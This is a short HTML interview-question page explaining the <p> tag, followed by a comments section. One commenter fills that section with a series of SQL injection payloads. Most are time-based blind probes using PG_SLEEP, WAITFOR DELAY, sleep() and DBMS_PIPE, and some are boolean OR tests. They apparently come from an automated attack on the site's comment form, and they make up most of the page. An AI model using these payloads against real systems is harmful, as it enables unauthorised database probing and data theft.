What is a <p> tag?

Experience Level: Junior
Tags: HTML

Answer

  • The <p> tag is used to represent a paragraph of text.
  • The <p> tag is a block element.
  • The <p> tag can contain only in-line elements.
  • Don't use the <p /> as self-closing element. It should never be used on its own and should always contain text content.
Example
<p>This is a paragraph of text.</p>
Related HTML job interview questions

Comments

RiceHawk18
@@kbD9o
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
IRjKd1PK')) OR 27=(SELECT 27 FROM PG_SLEEP(15))--
RiceHawk18
VlL0ZHJC') OR 240=(SELECT 240 FROM PG_SLEEP(15))--
RiceHawk18
o1TMLbMC' OR 769=(SELECT 769 FROM PG_SLEEP(15))--
RiceHawk18
X5SPkNK8'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+490-490-1=0+0+0+1 --
RiceHawk18
-1" OR 2+490-490-1=0+0+0+1 --
RiceHawk18
-1' OR 3+341-341-1=0+0+0+1 or 'w32QsHhO'='
RiceHawk18
-1' OR 2+341-341-1=0+0+0+1 or 'w32QsHhO'='
RiceHawk18
-1' OR 3+111-111-1=0+0+0+1 --
RiceHawk18
-1' OR 2+111-111-1=0+0+0+1 --
RiceHawk18
-1 OR 3+656-656-1=0+0+0+1
RiceHawk18
-1 OR 2+656-656-1=0+0+0+1
RiceHawk18
-1 OR 3+797-797-1=0+0+0+1 --
RiceHawk18
-1 OR 2+797-797-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e
RiceHawk18
e
HTML for beginners
HTML for beginners

Are you learning HTML ? Try our test we designed to help you progress faster.

Test yourself